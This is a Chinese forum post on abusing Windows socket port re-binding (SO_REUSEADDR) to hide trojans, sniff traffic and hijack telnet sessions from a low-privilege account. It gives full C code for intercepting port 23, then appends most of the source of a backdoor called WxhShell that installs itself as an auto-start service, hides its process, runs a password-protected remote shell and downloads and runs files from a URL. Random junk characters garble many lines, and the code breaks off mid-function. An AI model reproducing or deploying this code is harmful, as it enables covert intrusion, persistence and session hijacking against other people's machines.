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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _q27 3QG/"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &HM-UC|  
X&qx4 DL  
  saddr.sin_family = AF_INET; k*hl"oL"X  
lZcNio  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UPfO;Z`hJ  
f`uRC-B/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2(xC|  
0d9z8y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8I#ir4z#<  
P#~B @d  
  这意味着什么?意味着可以进行如下的攻击: {G:y?q'z  
d7X&3L%Oq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :-k|jt  
`R[ZY!=+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &&X,1/  
,JV0ib,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 RU:Rt'  
e /JQ #A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '+cI W(F?  
y~ =H`PAE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `um,S  
KT(Z #$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @yaFN>w  
ZYwcB]xE z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WD[eoi  
my.EvN  
  #include u#E'k KGO  
  #include pSw/QO9  
  #include 7C{ y NX#  
  #include    *Y m? gCig  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Dsg>~J'  
  int main() 3yZmW$E.  
  { d,"LZ>hNY*  
  WORD wVersionRequested; l]R0r{{  
  DWORD ret; yLX $SR  
  WSADATA wsaData; ~f1g"   
  BOOL val; QOF@Dv Q  
  SOCKADDR_IN saddr; pIJXP$v3  
  SOCKADDR_IN scaddr; 4]y)YNQ(  
  int err; O<gfZ>  
  SOCKET s; k&]nF,f  
  SOCKET sc; Z',!LK!  
  int caddsize; )u)=@@k21  
  HANDLE mt; &7aWVKon  
  DWORD tid;   fGo4&( U  
  wVersionRequested = MAKEWORD( 2, 2 ); g>@JGzMLP  
  err = WSAStartup( wVersionRequested, &wsaData ); 1sQIfX#2f  
  if ( err != 0 ) { $<^t][{  
  printf("error!WSAStartup failed!\n"); Dm>"c;2  
  return -1; IU%|K~_n  
  } fd\RS1[  
  saddr.sin_family = AF_INET; ):D"L C  
   iQwQ5m!d &  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yGZsNd {a&  
S(Yd.Sp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *U?O4E9  
  saddr.sin_port = htons(23); NB"S ,\M0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HGDrH   
  { l90mM'[  
  printf("error!socket failed!\n"); 200yN+ec  
  return -1; ~U9K<_U  
  } 'ZfgCu)St  
  val = TRUE; qLN^9PdEE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2@&r!Q|1vR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B`5<sW  
  { g`7XE  
  printf("error!setsockopt failed!\n"); "F<CGSo  
  return -1; eU?hin@X  
  } !'7fOP-J]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #%0V`BS7n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gE-y`2SU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l4Xz r:]  
{meX2Z4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nM )C^$3<t  
  { O !L`0 =%c  
  ret=GetLastError(); $B+| &]a  
  printf("error!bind failed!\n"); *eVq(R9?T  
  return -1; tli.g  
  } )ZJvx%@i  
  listen(s,2); <j'V}|3  
  while(1) p\6cpf  
  { kI\m0];KnQ  
  caddsize = sizeof(scaddr); -Mt 5< s  
  //接受连接请求 3^ Yc%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IV QH p  
  if(sc!=INVALID_SOCKET) {f!/:bM  
  { ?9b9{c'an  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5,RUPaE  
  if(mt==NULL) R?2sbK4Cz  
  { ]T4/dk&|o^  
  printf("Thread Creat Failed!\n"); kIrrbD  
  break; m o0\t#jA  
  } o\AnM5  
  } L[` l80  
  CloseHandle(mt); Qw5nfg3T  
  } Wgq|Q*  
  closesocket(s); OG,P"sv  
  WSACleanup(); z*y!Ml1  
  return 0; `&$8/_`  
  }   GXNf@&  
  DWORD WINAPI ClientThread(LPVOID lpParam) [|u^:&az  
  { 8sG3<$Z^  
  SOCKET ss = (SOCKET)lpParam; y}Ky<%A!P  
  SOCKET sc; n\#YGL<n  
  unsigned char buf[4096]; 29R-Up!SVN  
  SOCKADDR_IN saddr; A KNx~!%2  
  long num; v\0G`&^1  
  DWORD val; v0^9 "V:y  
  DWORD ret; LSo!_tY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G1"iu8 9d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ::L2zVq5V  
  saddr.sin_family = AF_INET; E_HB[ 9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Qy,^'fSN  
  saddr.sin_port = htons(23); kmuksT\)a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <P9fNBGa  
  { e _vsiT  
  printf("error!socket failed!\n"); %B3~t>  
  return -1; $6QIYF""  
  } _B4&Fb.  
  val = 100; F /b`[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X>%nzY]m  
  { W+XWS,(  
  ret = GetLastError(); 7\u+%i;YZ  
  return -1; zd?@xno  
  } jjpYg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]-PzN'5\'  
  { gwZ<$6  
  ret = GetLastError(); &4'< {  
  return -1; 'nJF:+30ZH  
  } *p l6 V|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CU$kh z"  
  { aM^iDJ$>  
  printf("error!socket connect failed!\n"); k15vs  
  closesocket(sc); )fH Q7  
  closesocket(ss); :fRXLe1=  
  return -1; mp|pz%U  
  } -@uFRQ t  
  while(1) I Mgd2qIC  
  { p:,Y6[gMo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +bjy#=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d{ (,Gy>I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W<Uu.Y{sG  
  num = recv(ss,buf,4096,0); $o"nTl  
  if(num>0) k<1yv$/mW  
  send(sc,buf,num,0); QWmE:F[M~  
  else if(num==0) BT_]=\zi  
  break; ]]xKc5CT  
  num = recv(sc,buf,4096,0); Ku;fZN[g  
  if(num>0) h@)U,&  
  send(ss,buf,num,0); KuNLu31%  
  else if(num==0) O-- p)\   
  break; wak26W>I3  
  } [)H 6`w  
  closesocket(ss); t@RYJmW  
  closesocket(sc); St=nf\P&F  
  return 0 ; SpH|<L3  
  } e r" w{  
+qxPUfN  
(5a73%>@  
========================================================== MsB >3  
Nk~}aj  
下边附上一个代码,,WXhSHELL Wj{lb_Rj  
B|(g?  
========================================================== 91 jRIB  
 Xo^8o0xi  
#include "stdafx.h" 9#LMK 1ge  
,OZ  
#include <stdio.h> .^YxhUH,G  
#include <string.h> p_r`"  
#include <windows.h> $QX$rN  
#include <winsock2.h> ROO*/OOd  
#include <winsvc.h> ?7{U=1gb$  
#include <urlmon.h> | %_C$s%  
*% -<Ldv  
#pragma comment (lib, "Ws2_32.lib") .soCU8i3  
#pragma comment (lib, "urlmon.lib") EZtU6kW"  
Xj?Wvt  
#define MAX_USER   100 // 最大客户端连接数 QxT'\7f  
#define BUF_SOCK   200 // sock buffer ~%hdy @  
#define KEY_BUFF   255 // 输入 buffer *miG<  
#ydold{F  
#define REBOOT     0   // 重启 hW7u#PY  
#define SHUTDOWN   1   // 关机 9O[IR)O~  
:]"5UY?oF  
#define DEF_PORT   5000 // 监听端口 OY*y<>  
4^_6~YP7  
#define REG_LEN     16   // 注册表键长度 8&QST!JGSX  
#define SVC_LEN     80   // NT服务名长度 C|{Sj`,XG  
P jQl(v&O  
// 从dll定义API :cpj{v;s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $+eeE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 37bMe@W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Iil2R}1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WR+j?Fcf  
Wzq W1<*`  
// wxhshell配置信息 5C w( 4.  
struct WSCFG { egmUUuO  
  int ws_port;         // 监听端口 zcpL[@B  
  char ws_passstr[REG_LEN]; // 口令 u#05`i:Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no !_glZ*tL  
  char ws_regname[REG_LEN]; // 注册表键名 Q+CJd>B  
  char ws_svcname[REG_LEN]; // 服务名 2j\_svw'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +)jUA]hJ/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aRd~T6I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6:1`lsP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tldT(E6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [i.@q}c~E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vrn4yHoZ  
}_Bo:*9B-o  
}; lH fZw})d  
"+DA)K  
// default Wxhshell configuration /4{WT?j  
struct WSCFG wscfg={DEF_PORT, ITPE2x  
    "xuhuanlingzhe", SX3'|'-  
    1, dT`nR"  
    "Wxhshell", f5}afPk  
    "Wxhshell", Gz`Jzh j  
            "WxhShell Service", X)g X9DA  
    "Wrsky Windows CmdShell Service", cIug~ x>  
    "Please Input Your Password: ", goM;Pf "<  
  1, h'ik3mLH  
  "http://www.wrsky.com/wxhshell.exe", =D zrM%  
  "Wxhshell.exe" L K&c~ Uy  
    }; XY0kd&N8  
,@Csa#  
// 消息定义模块 ;W0J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3=S |U,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8X;?fjl`"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !~^2Mu(X  
char *msg_ws_ext="\n\rExit."; bLT3:q#s  
char *msg_ws_end="\n\rQuit."; N2h5@*1Y  
char *msg_ws_boot="\n\rReboot..."; (>`_N%_  
char *msg_ws_poff="\n\rShutdown..."; 3}L3n*Ft#.  
char *msg_ws_down="\n\rSave to "; j/V_h'}  
@Z]0c=-+  
char *msg_ws_err="\n\rErr!"; +|?a7qM  
char *msg_ws_ok="\n\rOK!"; 3G// _f  
`&;#A*C0  
char ExeFile[MAX_PATH]; ^!['\  
int nUser = 0; [*%lm9 x  
HANDLE handles[MAX_USER]; l|g*E.:4  
int OsIsNt; '! >9j,BJ  
,\`ruWWLb=  
SERVICE_STATUS       serviceStatus; /Pjd"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,Csdon  
]t[%.^5#  
// 函数声明 >WHajYO"  
int Install(void); v}>g* @  
int Uninstall(void); Z<U,]iZB  
int DownloadFile(char *sURL, SOCKET wsh); 8~y!X0Ov!  
int Boot(int flag); 6Ga'_P:  
void HideProc(void); [[T7s(3  
int GetOsVer(void); ueg%yvO  
int Wxhshell(SOCKET wsl); zU5@~J  
void TalkWithClient(void *cs); ^C gg1e1  
int CmdShell(SOCKET sock); |:)Bo<8  
int StartFromService(void); W83d$4\d  
int StartWxhshell(LPSTR lpCmdLine); )St0}?I~  
p{?duq=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fb f&bJT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <?7CwW  
Z@Rqm:e  
// 数据结构和表定义 {\Pk;M{Y&  
SERVICE_TABLE_ENTRY DispatchTable[] = /.:1Da  
{ [_N1 .}e  
{wscfg.ws_svcname, NTServiceMain}, ^P^"t^O  
{NULL, NULL} AA-$;s  
}; <h(AJX7wsD  
fWP]{z`  
// 自我安装 cfmwz~S6i  
int Install(void) h(WlJCln  
{ <n_? $ TJ  
  char svExeFile[MAX_PATH]; VnuG^)S  
  HKEY key; %+r(*Q+0$f  
  strcpy(svExeFile,ExeFile); ^;II@n i  
hC-uz _/3  
// 如果是win9x系统,修改注册表设为自启动 hu-]SGb6  
if(!OsIsNt) { |E13W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k(f),_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +5fB?0D;  
  RegCloseKey(key); F%L"Q>aHW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eu |/pH=:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lG6&uMvo  
  RegCloseKey(key); lB}?ey   
  return 0; )~M@2;@L  
    } ,]wab6sY  
  } mmQC9nZ  
} tFcQ.1  
else { Q_ T,=y  
d 6Y9D=O  
// 如果是NT以上系统,安装为系统服务 %<~EwnoT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [,bJKz)a  
if (schSCManager!=0) :M6|V_Yp  
{ ErN[maix#  
  SC_HANDLE schService = CreateService ' !huU   
  ( ,):aU  
  schSCManager, ~ESw* 6s9  
  wscfg.ws_svcname, j1Ys8k%$l  
  wscfg.ws_svcdisp, {9J|\Zz3  
  SERVICE_ALL_ACCESS, W3l[a^1d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s=$xnc}mf  
  SERVICE_AUTO_START, $%U}k=-  
  SERVICE_ERROR_NORMAL, $d1ow#ROgy  
  svExeFile, xpZ@DK;  
  NULL, I N@ ~~  
  NULL, UXZ3~/L5 O  
  NULL, qX&+  
  NULL, .0nT*LF  
  NULL 52^3N>X4X  
  ); N+V#=U y  
  if (schService!=0) '3XOU.  
  { :qS~"@?<  
  CloseServiceHandle(schService); Qc33C A  
  CloseServiceHandle(schSCManager); yO-2.2h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r E1ouz!D  
  strcat(svExeFile,wscfg.ws_svcname); '"Cqq{*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W}F~vx.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wz+mFf  
  RegCloseKey(key); t<`wK8)  
  return 0; E.yFCaL  
    } 6oKlr,.  
  } 2U%t  
  CloseServiceHandle(schSCManager); D~qi6@Ga  
} #WA7}tHb  
} Eoz/]b  
ym p*:lH(  
return 1; Ym%# "  
} 6n:X p_yO  
7<kr|-  
// 自我卸载 w2$ L;q  
int Uninstall(void) x ~l"'qsK  
{ e?\Od}Hbw  
  HKEY key; 0"-H34M <D  
D _\HX9  
if(!OsIsNt) { SdufI_'B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AsS~TLG9p  
  RegDeleteValue(key,wscfg.ws_regname); 'bv(T2d~~  
  RegCloseKey(key); jKP75jm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .yzXw8~S  
  RegDeleteValue(key,wscfg.ws_regname); Ev#, }l+  
  RegCloseKey(key); W9Us I  
  return 0; bil>;&h  
  } GDj_+G;tO\  
} yyPj!<.MGP  
} p-C{$5& O1  
else { ILNghtm-  
r?`nc6$0|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7 |Qb}[s  
if (schSCManager!=0) $IKN7  
{ bq7()ocA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uA?a DjA  
  if (schService!=0) }zo-%#  
  { >iJxq6!  
  if(DeleteService(schService)!=0) { w6 Y+Y;,'f  
  CloseServiceHandle(schService); 8}z PDs  
  CloseServiceHandle(schSCManager); 'o_ RC{k2"  
  return 0; U ;4;>  
  } x ZAg  
  CloseServiceHandle(schService); ^ ' )4RU  
  } HDo=WqG  
  CloseServiceHandle(schSCManager); _#<l -R`  
} *nM.`7g*[  
} ~9f Ts4U  
}k1[Fc|  
return 1; B^1jd!m  
} _qit$#wK;  
{ F0"U=  
// 从指定url下载文件 6{Bvl[mhI  
int DownloadFile(char *sURL, SOCKET wsh) M~sP|Ha"+  
{ gi A(VUwI>  
  HRESULT hr; BZQJ@lk5  
char seps[]= "/"; c1]\.s  
char *token; a`||ePb|W~  
char *file; y9:o];/  
char myURL[MAX_PATH]; "Q23s"  
char myFILE[MAX_PATH]; ~O~we  
'?|.#D#-c  
strcpy(myURL,sURL); [o'}R`5)  
  token=strtok(myURL,seps); +w?1<Z  
  while(token!=NULL) v|kL7t)}  
  { QD[l 6  
    file=token; |?fc]dl1]  
  token=strtok(NULL,seps); @XF/hhGE_y  
  } ,g)9ZP.F  
]o8~b-  
GetCurrentDirectory(MAX_PATH,myFILE); V[| k:($  
strcat(myFILE, "\\"); -}JRsQ+rgM  
strcat(myFILE, file); atFu KYI  
  send(wsh,myFILE,strlen(myFILE),0); FLlL0Gu  
send(wsh,"...",3,0); I8hmn@ce  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bq:: 5,v  
  if(hr==S_OK) V> eJ  
return 0; E<_+Tc  
else 1n ZE9;o  
return 1; $r)nvf`\  
Y0OVzp9 b  
} {Q L qf   
]_)=xF19  
// 系统电源模块 HPWjNwM  
int Boot(int flag) PJcz] <  
{ #`Et{6W S  
  HANDLE hToken; [TpW$E0H  
  TOKEN_PRIVILEGES tkp; #lm1"~`5  
7W#9ki1  
  if(OsIsNt) { w*N9p8hb]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]| =#FFz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v3jx2Z  
    tkp.PrivilegeCount = 1; UUql"$q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yIThzy S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (au 7wI{  
if(flag==REBOOT) { <Gudx>I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lO|H:7  
  return 0; Q ?W6  
} &-Zg0T&tZ  
else { /9yA.W;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u RNc9  
  return 0; )@YrHS4  
} esEOV$s}  
  } seH#v  
  else { :!EOg4%i  
if(flag==REBOOT) { WxLILh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4B8{\ "6  
  return 0; pRdO4?l  
} &"svt2  
else { h:+>=~\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZjJEjw  
  return 0; WS0RvBvb  
} Wm ?RB0  
} BPKeG0F7  
.es= w=  
return 1; }F R yG%  
} LNU9M>  
V# 6`PD6  
// win9x进程隐藏模块 }%rz"kB  
void HideProc(void) P8s'e_t  
{ h^0!I TL^  
{4{ACp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vi>V6IC4v  
  if ( hKernel != NULL ) >!YI7)  
  { #6JCm!s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N1!|nS3w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A]vQ1*pnk  
    FreeLibrary(hKernel); V9m1n=r  
  } |v{ a5|<E  
ji2if.t@  
return; G>{;@u  
} Rf\>bI<.  
)P.|Xk:r  
// 获取操作系统版本 B|~\m ~  
int GetOsVer(void) D`.CXFI+U  
{ |^@TA=_  
  OSVERSIONINFO winfo; o0Hh&:6!M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L+QEFQ:r5  
  GetVersionEx(&winfo); $y >J=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r jL%M';  
  return 1; U07n7`2w  
  else ]?Ru~N}  
  return 0; I#f<YbzD  
} QTK{JZf  
=N n0)l  
// 客户端句柄模块 y?aOk-TaRA  
int Wxhshell(SOCKET wsl) v *~ yN*  
{ W#0pFofXw  
  SOCKET wsh; <OW` )0UX  
  struct sockaddr_in client; n4CzReG  
  DWORD myID; 7z6yn= B  
Hj;j\R >2  
  while(nUser<MAX_USER) eGLLh_V"  
{ 9!FV. yp%F  
  int nSize=sizeof(client); Fu m1w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^yu^Du  
  if(wsh==INVALID_SOCKET) return 1; f=J#mmH w$  
 c:~o e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \aT._'=M+  
if(handles[nUser]==0) <H E'5b  
  closesocket(wsh); Jo h&Ay  
else mrd(\&EhA  
  nUser++; 4k$BqM1  
  } JUU0Tx:`9)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )CXJRo`j0  
$K8ZxH1z@  
  return 0; OH*[  
} m.EWYO0XQ  
^#%$?w>wI  
// 关闭 socket +V7*vlx-  
void CloseIt(SOCKET wsh) 5'>(|7~%\  
{ f+$/gz  
closesocket(wsh); x_(B7ob  
nUser--; NCSb`SC:  
ExitThread(0); /tP"r}l   
} it>FG9hVo  
mKnkHGM  
// 客户端请求句柄 vC J  
void TalkWithClient(void *cs) OBN]bvCJ  
{ ?~S\^4]  
h.~S^uKi*  
  SOCKET wsh=(SOCKET)cs; FK={ %  
  char pwd[SVC_LEN]; S)$ES6]9/  
  char cmd[KEY_BUFF]; kS?!"zk>  
char chr[1]; Pd^ilRB  
int i,j; -\>Bphu,y  
";",r^vr\  
  while (nUser < MAX_USER) { HcQ{ok9u  
~"}-cl,  
if(wscfg.ws_passstr) { ybf`7KEP2A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a50{gb#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zc,fJM  
  //ZeroMemory(pwd,KEY_BUFF); R0\E?9P  
      i=0; Yw+_( 2 9=  
  while(i<SVC_LEN) { {n%F^ky+7  
Ql\{^s+  
  // 设置超时 K-_e' )22.  
  fd_set FdRead; RpS'Tz}  
  struct timeval TimeOut; ,1F3";`n[  
  FD_ZERO(&FdRead); R[Kyq|UyVr  
  FD_SET(wsh,&FdRead); KH2a 2  
  TimeOut.tv_sec=8; ^i#q{@g  
  TimeOut.tv_usec=0; cD2}EqZ 9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o $p*C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0xC{Lf&  
HK5\i@G+<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P*R`3Y,  
  pwd=chr[0]; \\x``*  
  if(chr[0]==0xd || chr[0]==0xa) { V!3O 1  
  pwd=0; o& $Fc8bH  
  break; {Sd{|R_  
  }  [Fr.ik  
  i++; X )g <F  
    } M_UhFY='  
OES+BXGX  
  // 如果是非法用户,关闭 socket i>q]U:U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g;eMsoJG  
} {o5E#<)  
Ck(D: % ~s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !lL21C6g+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E@P8-x'i  
"i4@'`r  
while(1) { d^WVWk K  
zn>*^h0B  
  ZeroMemory(cmd,KEY_BUFF); Ry[VEn>C1  
0D:J d6\  
      // 自动支持客户端 telnet标准   86@"BNnTh  
  j=0; )aOg_*~  
  while(j<KEY_BUFF) { srJ,Jr(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t#}/VnSQ  
  cmd[j]=chr[0]; "DfvoQP  
  if(chr[0]==0xa || chr[0]==0xd) { `gD'q5.z;3  
  cmd[j]=0; _~=X/I R  
  break; , S}[48$  
  } x(5>f9bb  
  j++; UFm E`|le  
    } &D>e>]E|P  
|z Gwt Z  
  // 下载文件 70a7}C\/o  
  if(strstr(cmd,"http://")) { C-m OtI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lySeq^y?Q  
  if(DownloadFile(cmd,wsh)) yo") G!BN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r^VH [c@c  
  else hf8 =r5j=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eB<R@a|?S  
  } /)MzF6  
  else { =MRg  
W!2(Ph*  
    switch(cmd[0]) { 9]Uvy|  
  Bj;Fy9[yb  
  // 帮助 S;MS,R  
  case '?': { d9sl(;r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iAbtv^fn  
    break; mz3!HksZ "  
  } 6#K1LY5}  
  // 安装 {SbA(a?B  
  case 'i': { y 7|x<Z  
    if(Install()) h$G&4_O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9L]x9lI;  
    else Bk?3lwCT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j$n[; \]n  
    break; wz$1^ml  
    } /^ hB6_'D  
  // 卸载 yfnqu4Cn  
  case 'r': { uK="#1z cC  
    if(Uninstall()) +kd88Fx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e$45OL  
    else Ma: xxsH.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "+[:\  
    break; Gyk>5Q}}  
    } IO/2iSbW  
  // 显示 wxhshell 所在路径 ABSA le  
  case 'p': { 88$G14aXEk  
    char svExeFile[MAX_PATH]; 1K"``EvNB  
    strcpy(svExeFile,"\n\r"); KFkKr>S :  
      strcat(svExeFile,ExeFile); "$;=8O5O  
        send(wsh,svExeFile,strlen(svExeFile),0); N9r02c  
    break; kZBIXW,G  
    } =oV8 !d%]  
  // 重启 iL)q':xz  
  case 'b': { z0t6}E<VIR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nG1 mx/w  
    if(Boot(REBOOT)) UsNr$MO {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d>M&jSCL  
    else { @c,}\"(  
    closesocket(wsh); J@=1zL  
    ExitThread(0); cwlXb!S$  
    } O{,Uge2n,  
    break; _~d C>`K  
    } {W62%>v  
  // 关机 qDxz`}Ly=  
  case 'd': { t^)q[g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $h`?l$jC(@  
    if(Boot(SHUTDOWN)) Yc3r 3Jy  
